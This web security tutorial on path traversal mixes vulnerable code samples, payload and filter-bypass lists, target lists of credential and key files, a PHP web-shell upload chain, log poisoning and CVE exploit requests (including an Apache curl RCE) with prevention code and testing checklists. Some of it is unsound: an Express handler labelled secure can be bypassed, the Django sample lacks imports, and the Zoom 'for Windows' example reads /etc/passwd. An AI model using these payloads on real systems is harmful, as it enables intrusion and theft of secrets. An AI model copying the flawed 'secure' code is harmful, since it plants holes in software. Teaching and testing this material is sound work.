Back to Attack Flows

Table of Contents

What is Path Traversal?

Path Traversal (also known as Directory Traversal or Dot-Dot-Slash attack) is a web security vulnerability that allows attackers to access files and directories outside the web root folder. By manipulating file path references, attackers can read sensitive files, access configuration data, or even execute arbitrary code on the server.

Why is Path Traversal Critical?

Path traversal vulnerabilities are dangerous because they:

Attack Capabilities

Successful path traversal exploitation allows attackers to:

How Path Traversal Works

Attack Flow

Path traversal attacks typically follow this pattern:

  1. Input Discovery: Identify parameters that accept filenames or paths
  2. Path Manipulation: Insert traversal sequences like ../
  3. Filter Testing: Test various encoding and bypass techniques
  4. Target Selection: Navigate to sensitive files and directories
  5. Data Extraction: Retrieve and analyze accessed files
  6. Privilege Escalation: Use gathered information for further attacks

Basic Vulnerable Code Examples

PHP - Unsafe File Reading

<?php
// VULNERABLE: Direct user input in file path
$filename = $_GET['file'];
$content = file_get_contents("/var/www/documents/" . $filename);
echo $content;

// Attack: ?file=../../../../etc/passwd
// Reads: /var/www/documents/../../../../etc/passwd
// Resolves to: /etc/passwd
?>

Java - Unsafe File Access

// VULNERABLE: User input in File constructor
String fileName = request.getParameter("file");
File file = new File("/app/files/" + fileName);
BufferedReader reader = new BufferedReader(new FileReader(file));

// Attack: ?file=../../../etc/passwd
// Accesses: /app/files/../../../etc/passwd → /etc/passwd

Python - Unsafe Path Join

from flask import Flask, request, send_file
import os

app = Flask(__name__)

# VULNERABLE: User input in path
@app.route('/download')
def download():
    filename = request.args.get('file')
    file_path = os.path.join('/app/uploads/', filename)
    return send_file(file_path)

# Attack: ?file=../../../../etc/passwd
# Returns: /etc/passwd

Node.js - Unsafe Path Resolution

const express = require('express');
const fs = require('fs');
const app = express();

// VULNERABLE: String concatenation with user input
app.get('/read', (req, res) => {
    const filename = req.query.file;
    const path = '/var/data/' + filename;
    
    fs.readFile(path, 'utf8', (err, data) => {
        if (err) return res.status(500).send('Error');
        res.send(data);
    });
});

// Attack: ?file=../../../../etc/passwd

Types of Path Traversal Attacks

1. Simple Path Traversal

Basic directory traversal using relative paths.

# Unix/Linux
../
../../
../../../etc/passwd
../../../var/log/apache2/access.log

# Windows
..\
..\..\
..\..\..\windows\win.ini
..\..\..\boot.ini

2. Absolute Path Override

Using absolute paths to bypass restrictions.

# Unix/Linux
/etc/passwd
/etc/shadow
/var/www/html/config.php
/home/user/.ssh/id_rsa
/proc/self/environ

# Windows
C:\windows\win.ini
C:\inetpub\wwwroot\web.config
C:\Users\Administrator\.ssh\id_rsa

3. Encoded Path Traversal

Using URL encoding to bypass filters.

# URL encoded
..%2f..%2f..%2fetc%2fpasswd
%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd

# Double URL encoded
%252e%252e%252f%252e%252e%252f%252e%252e%252fetc%252fpasswd

# UTF-8 encoded
..%c0%af..%c0%af..%c0%afetc/passwd

# 16-bit Unicode encoding
%u002e%u002e%u002f%u002e%u002e%u002f

4. Null Byte Injection

Using null bytes to bypass extension checks (deprecated but still found).

# Null byte termination
../../../etc/passwd%00.jpg
../../../etc/passwd\x00.png

# Double null byte
../../../etc/passwd%00%00.pdf

5. OS-Specific Variations

Windows-Specific

# Backslash separator
..\..\..\windows\system32\config\sam

# Forward slash (also works on Windows)
../../../windows/system32/config/sam

# UNC paths
\\127.0.0.1\c$\windows\win.ini

# Drive letter
C:windows/win.ini

Unix/Linux-Specific

# /proc filesystem
/proc/self/environ
/proc/self/cmdline
/proc/self/cwd/index.php
/proc/[PID]/environ

# /sys filesystem
/sys/class/net/eth0/address

# Alternative root access
/var/www/../../etc/passwd

Advanced Exploitation Techniques

1. Chaining with File Upload

# Step 1: Upload malicious file
POST /upload HTTP/1.1
Content-Type: multipart/form-data

--boundary
Content-Disposition: form-data; name="file"; filename="shell.php"

<?php system($_GET['cmd']); ?>

# Step 2: Access via path traversal
GET /download?file=../uploads/shell.php&cmd=whoami

2. Log Poisoning via Path Traversal

# Step 1: Inject PHP code into logs via User-Agent
GET / HTTP/1.1
User-Agent: <?php system($_GET['cmd']); ?>

# Step 2: Include log file via path traversal
GET /download?file=../../../var/log/apache2/access.log&cmd=whoami

# Works with various logs
?file=../../../var/log/nginx/access.log
?file=../../../var/log/vsftpd.log
?file=../../../proc/self/environ

3. Source Code Disclosure

# Common sensitive files
../../../config/database.yml
../../../.env
../../../wp-config.php
../../../application/config/config.php
../../../sites/default/settings.php

# Framework-specific configs
../../../config/app.php              # Laravel
../../../config/database.php         # Laravel
../../../settings.py                 # Django
../../../manage.py                   # Django
../../../package.json                # Node.js
../../../composer.json               # PHP Composer

4. SSH Key Extraction

# Private keys
../../../home/user/.ssh/id_rsa
../../../home/user/.ssh/id_dsa
../../../root/.ssh/id_rsa
../../../home/ubuntu/.ssh/id_rsa

# Authorized keys
../../../home/user/.ssh/authorized_keys
../../../root/.ssh/authorized_keys

# Known hosts
../../../home/user/.ssh/known_hosts

5. Database Credential Extraction

# MySQL
../../../etc/mysql/my.cnf
../../../var/lib/mysql/mysql/user.MYD

# PostgreSQL
../../../etc/postgresql/*/main/pg_hba.conf
../../../var/lib/postgresql/data/postgresql.conf

# MongoDB
../../../etc/mongod.conf

# Redis
../../../etc/redis/redis.conf

6. Container Escape

# Docker secrets
../../../run/secrets/db_password
../../../var/run/secrets/kubernetes.io/serviceaccount/token

# Kubernetes configs
../../../var/run/secrets/kubernetes.io/serviceaccount/ca.crt
../../../var/run/secrets/kubernetes.io/serviceaccount/namespace

# Container metadata
/proc/self/cgroup
/proc/self/mountinfo

Bypass Methods

1. Encoding Variations

# Standard encoding
..%2f..%2f..%2fetc%2fpasswd

# Double encoding
..%252f..%252f..%252fetc%252fpasswd

# UTF-8 encoding
..%c0%af..%c0%af..%c0%afetc/passwd
..%c1%9c..%c1%9c..%c1%9cetc/passwd

# 16-bit Unicode
%u002e%u002e%u002f%u002e%u002e%u002f

# Mixed encoding
..%2f..%5c..%2fetc/passwd

2. Path Obfuscation

# Redundant separators
....//....//....//etc/passwd
..//////..//////etc/passwd

# Self-referencing paths
./././etc/passwd
./.././.././../etc/passwd

# Mixed separators (Windows)
..\../..\../etc/passwd
..\/..\/..\/etc/passwd

3. Bypassing Prefix Requirements

# If application prepends /var/www/files/
# Attack with absolute path
/etc/passwd

# Or use relative traversal
../../../../etc/passwd

# Nested paths
/var/www/files/../../../../../../etc/passwd

4. Bypassing Extension Requirements

# Null byte (legacy)
../../../etc/passwd%00.pdf

# Query string
../../../etc/passwd?.jpg
../../../etc/passwd#.jpg

# Case sensitivity bypass
../../../etc/PASSWD
../../../ETC/passwd

# Alternative extensions
../../../etc/passwd%20
../../../etc/passwd.
../../../etc/passwd/.

5. Filter Bypass Techniques

# Remove ../ filter bypass
....//....//etc/passwd
..;/..;/etc/passwd

# Blacklist bypass
..\../\../..\../etc/passwd

# Stripped string bypass (if filter removes '../')
....//....//....//etc/passwd

# Character variation
%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd

# Overlong UTF-8
%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd

6. Operating System Tricks

# Windows 8.3 filename format
../../wind~1/win.ini
../../progra~1/

# Windows alternate data streams
web.config::$DATA

# Case insensitivity (Windows)
../WiNdOwS/system32/config/sam

# Trailing dots/spaces (Windows)
../../../etc/passwd....
../../../etc/passwd    

Prevention & Mitigation

1. Use Allowlists

The most secure approach is to use allowlists of permitted files.

PHP - Allowlist Implementation

<?php
// SECURE: Allowlist of permitted files
$allowed_files = [
    'report1' => 'reports/january.pdf',
    'report2' => 'reports/february.pdf',
    'manual' => 'docs/user_manual.pdf'
];

$file_id = $_GET['file'] ?? '';

if (!isset($allowed_files[$file_id])) {
    die('Invalid file requested');
}

$file_path = '/var/www/files/' . $allowed_files[$file_id];

if (file_exists($file_path)) {
    header('Content-Type: application/pdf');
    readfile($file_path);
} else {
    die('File not found');
}
?>

Python - Secure Path Validation

import os
from pathlib import Path
from flask import Flask, request, send_file, abort

app = Flask(__name__)
BASE_DIR = Path('/var/www/files')

@app.route('/download')
def download():
    filename = request.args.get('file', '')
    
    # Construct full path
    requested_path = (BASE_DIR / filename).resolve()
    
    # SECURE: Verify path is within base directory
    if not str(requested_path).startswith(str(BASE_DIR.resolve())):
        abort(403, "Access denied")
    
    # Check file exists
    if not requested_path.is_file():
        abort(404, "File not found")
    
    return send_file(requested_path)
    
# Alternative: Use allowlist
ALLOWED_FILES = {
    'report1': 'reports/january.pdf',
    'report2': 'reports/february.pdf'
}

@app.route('/get')
def get_file():
    file_id = request.args.get('id', '')
    
    if file_id not in ALLOWED_FILES:
        abort(400, "Invalid file ID")
    
    file_path = BASE_DIR / ALLOWED_FILES[file_id]
    return send_file(file_path)

2. Path Canonicalization

Java - Secure Path Resolution

import java.io.File;
import java.io.IOException;
import java.nio.file.Path;
import java.nio.file.Paths;

public class SecureFileHandler {
    private static final String BASE_DIR = "/var/www/files";
    
    public File getSecureFile(String userInput) throws IOException {
        // Resolve canonical paths
        File baseDir = new File(BASE_DIR).getCanonicalFile();
        File requestedFile = new File(baseDir, userInput).getCanonicalFile();
        
        // SECURE: Verify requested file is within base directory
        if (!requestedFile.getPath().startsWith(baseDir.getPath())) {
            throw new SecurityException("Access denied");
        }
        
        return requestedFile;
    }
    
    // Java NIO alternative
    public Path getSecurePath(String userInput) throws IOException {
        Path basePath = Paths.get(BASE_DIR).toRealPath();
        Path requestedPath = basePath.resolve(userInput).normalize();
        
        if (!requestedPath.startsWith(basePath)) {
            throw new SecurityException("Access denied");
        }
        
        return requestedPath;
    }
}

Node.js - Safe Path Resolution

const path = require('path');
const fs = require('fs').promises;
const express = require('express');
const app = express();

const BASE_DIR = '/var/www/files';

// SECURE: Path validation middleware
async function secureFileAccess(req, res, next) {
    try {
        const filename = req.query.file;
        
        // Resolve absolute paths
        const basePath = path.resolve(BASE_DIR);
        const requestedPath = path.resolve(basePath, filename);
        
        // Verify path is within base directory
        if (!requestedPath.startsWith(basePath + path.sep)) {
            return res.status(403).send('Access denied');
        }
        
        // Check file exists
        await fs.access(requestedPath, fs.constants.R_OK);
        
        req.safePath = requestedPath;
        next();
    } catch (error) {
        res.status(404).send('File not found');
    }
}

app.get('/download', secureFileAccess, async (req, res) => {
    res.sendFile(req.safePath);
});

3. Input Sanitization

<?php
// SECURE: Strict input validation
function sanitizeFilename($filename) {
    // Remove null bytes
    $filename = str_replace(chr(0), '', $filename);
    
    // Remove path separators
    $filename = str_replace(['/', '\\', '..'], '', $filename);
    
    // Allow only safe characters
    if (!preg_match('/^[a-zA-Z0-9_\-\.]+$/', $filename)) {
        throw new Exception('Invalid filename');
    }
    
    // Limit length
    if (strlen($filename) > 255) {
        throw new Exception('Filename too long');
    }
    
    return $filename;
}

$filename = sanitizeFilename($_GET['file']);
$file_path = '/var/www/files/' . $filename;
?>

4. Chroot Jails and Sandboxing

# Python with chroot (requires root)
import os

def setup_chroot(jail_path):
    os.chroot(jail_path)
    os.chdir('/')
    
# Drop privileges after chroot
import pwd
def drop_privileges(uid_name='nobody'):
    running_uid = pwd.getpwnam(uid_name).pw_uid
    os.setuid(running_uid)

# Docker container with read-only filesystem
# docker run --read-only -v /path/to/files:/data:ro myapp

5. Framework-Specific Protection

Django - Safe File Serving

from django.http import FileResponse
from django.conf import settings
from pathlib import Path
import os

def secure_download(request, filename):
    # Define safe directory
    safe_dir = Path(settings.MEDIA_ROOT) / 'downloads'
    
    # Resolve paths
    safe_path = safe_dir.resolve()
    file_path = (safe_dir / filename).resolve()
    
    # Validate path
    if not str(file_path).startswith(str(safe_path)):
        return HttpResponseForbidden("Access denied")
    
    if not file_path.is_file():
        raise Http404("File not found")
    
    return FileResponse(open(file_path, 'rb'))

Express.js - Static File Middleware

const express = require('express');
const app = express();

// SECURE: Use express.static with options
app.use('/files', express.static('public/files', {
    dotfiles: 'deny',      // Deny access to dotfiles
    index: false,          // Disable directory indexing
    redirect: false        // Disable trailing slash redirect
}));

// Custom secure file handler
const path = require('path');
app.get('/secure/:file', (req, res) => {
    const safePath = path.normalize(req.params.file).replace(/^(\.\.[\/\\])+/, '');
    res.sendFile(safePath, { root: './public/files' });
});

Detection & Testing

Manual Testing Checklist

  1. Identify File Parameters: Look for file, filename, path, document, etc.
  2. Test Basic Traversal: Try ../, ..\\
  3. Test Encoded Variants: URL encoding, double encoding
  4. Test Absolute Paths: Try /etc/passwd, C:\windows\win.ini
  5. Test Null Bytes: Try %00 injection
  6. Test Filter Bypasses: Various obfuscation techniques
  7. Enumerate Sensitive Files: Test known sensitive file locations
  8. Check Error Messages: Look for path disclosure in errors

Common Target Files

Linux/Unix

# System files
/etc/passwd
/etc/shadow
/etc/group
/etc/hosts
/etc/hostname

# Web server configs
/etc/apache2/apache2.conf
/etc/nginx/nginx.conf
/etc/httpd/conf/httpd.conf

# Application configs
/var/www/html/.env
/var/www/html/config.php
/var/www/html/wp-config.php

# SSH keys
/root/.ssh/id_rsa
/home/user/.ssh/id_rsa
/home/user/.ssh/authorized_keys

# Logs
/var/log/apache2/access.log
/var/log/nginx/access.log
/var/log/syslog

# Database
/etc/mysql/my.cnf
/var/lib/mysql/mysql/user.MYD

Windows

# System files
C:\windows\win.ini
C:\windows\system32\drivers\etc\hosts
C:\boot.ini

# Web configs
C:\inetpub\wwwroot\web.config
C:\xampp\apache\conf\httpd.conf

# Application data
C:\Users\Administrator\Desktop\
C:\ProgramData\

# IIS logs
C:\inetpub\logs\LogFiles\

Automated Testing Tools

Testing Payloads Collection

# Basic payloads
../
../../
../../../
../../../../

# Absolute paths
/etc/passwd
/etc/shadow
/etc/hosts

# Encoded
..%2f
..%5c
%2e%2e%2f
%252e%252e%252f

# Windows
..\
..\..\
C:\windows\win.ini

# Null byte
../../../etc/passwd%00.jpg

# Filter bypass
....//....//etc/passwd
..;/..;/etc/passwd

Code Review Patterns

# Search for vulnerable patterns
# PHP
grep -r "file_get_contents.*\$_GET\|readfile.*\$_POST\|include.*\$_" .

# Python
grep -r "open(.*request\|send_file.*request" .

# Java
grep -r "new File.*getParameter\|FileInputStream.*request" .

# Node.js
grep -r "readFile.*req\.\|sendFile.*req\." .

Real-World Examples

1. Zoom for Windows (CVE-2022-28756)

Impact: Path traversal vulnerability allowing arbitrary file read.

# Exploit through custom URI handler
zoom://target.com/../../../../../../etc/passwd

# Could read sensitive files
zoom://target.com/../../../../../../windows/system32/config/sam

Lesson: Always validate paths in custom URI handlers and protocol implementations.

2. GitLab (CVE-2023-2825)

Impact: Path traversal in GitLab Pages allowing unauthorized file access.

# Accessing files outside webroot
GET /pages/project/../../../../../../etc/passwd HTTP/1.1
Host: gitlab.example.com

# Reading GitLab configuration
GET /pages/project/../../../../../../../opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml

Lesson: Implement proper path sanitization in file serving components.

3. Apache HTTP Server (CVE-2021-41773)

Impact: Path traversal and RCE in Apache httpd 2.4.49.

# Path traversal
curl 'http://target/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd'

# RCE via CGI
curl 'http://target/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh' \
     -d 'echo Content-Type: text/plain; echo; id'

Lesson: Keep web servers updated and properly configure access controls.

4. Microsoft Exchange Server (ProxyShell)

Impact: Path traversal leading to authentication bypass and RCE.

# Path traversal to access backend services
GET /autodiscover/autodiscover.json?@foo.com/owa/&Email=autodiscover/autodiscover.json%3F@foo.com&Protocol=XYZ&FooProtocol=Powershell HTTP/1.1

# Combined with other vulnerabilities for RCE

Lesson: Complex routing and URL parsing can introduce subtle path traversal vulnerabilities.

Quick Reference

Path Traversal Cheat Sheet

Common Traversal Sequences

# Unix/Linux
../
../../
../../../../../../../etc/passwd
/etc/passwd

# Windows
..\
..\..\
C:\windows\win.ini
\\server\share\file.txt

# Mixed
../../../windows/win.ini
..\../..\../etc/passwd

Encoding Variations

# URL encoding
..%2f
..%5c
%2e%2e%2f

# Double encoding
..%252f
%252e%252e%252f

# UTF-8
..%c0%af
..%c1%9c

# Unicode
%u002e%u002e%u002f

Filter Bypasses

# Redundant separators
....//
..;/

# Null bytes
%00

# Case variations
../ → ..\ → ..\/ → ../

# Nested encoding
%252e%252e%252f

Target Files by OS

# Linux
/etc/passwd
/etc/shadow
/root/.ssh/id_rsa
/var/www/html/.env

# Windows  
C:\windows\win.ini
C:\boot.ini
C:\inetpub\wwwroot\web.config

# Both
/proc/self/environ
/var/log/apache2/access.log

Essential Testing Tools

Prevention Checklist

Additional Resources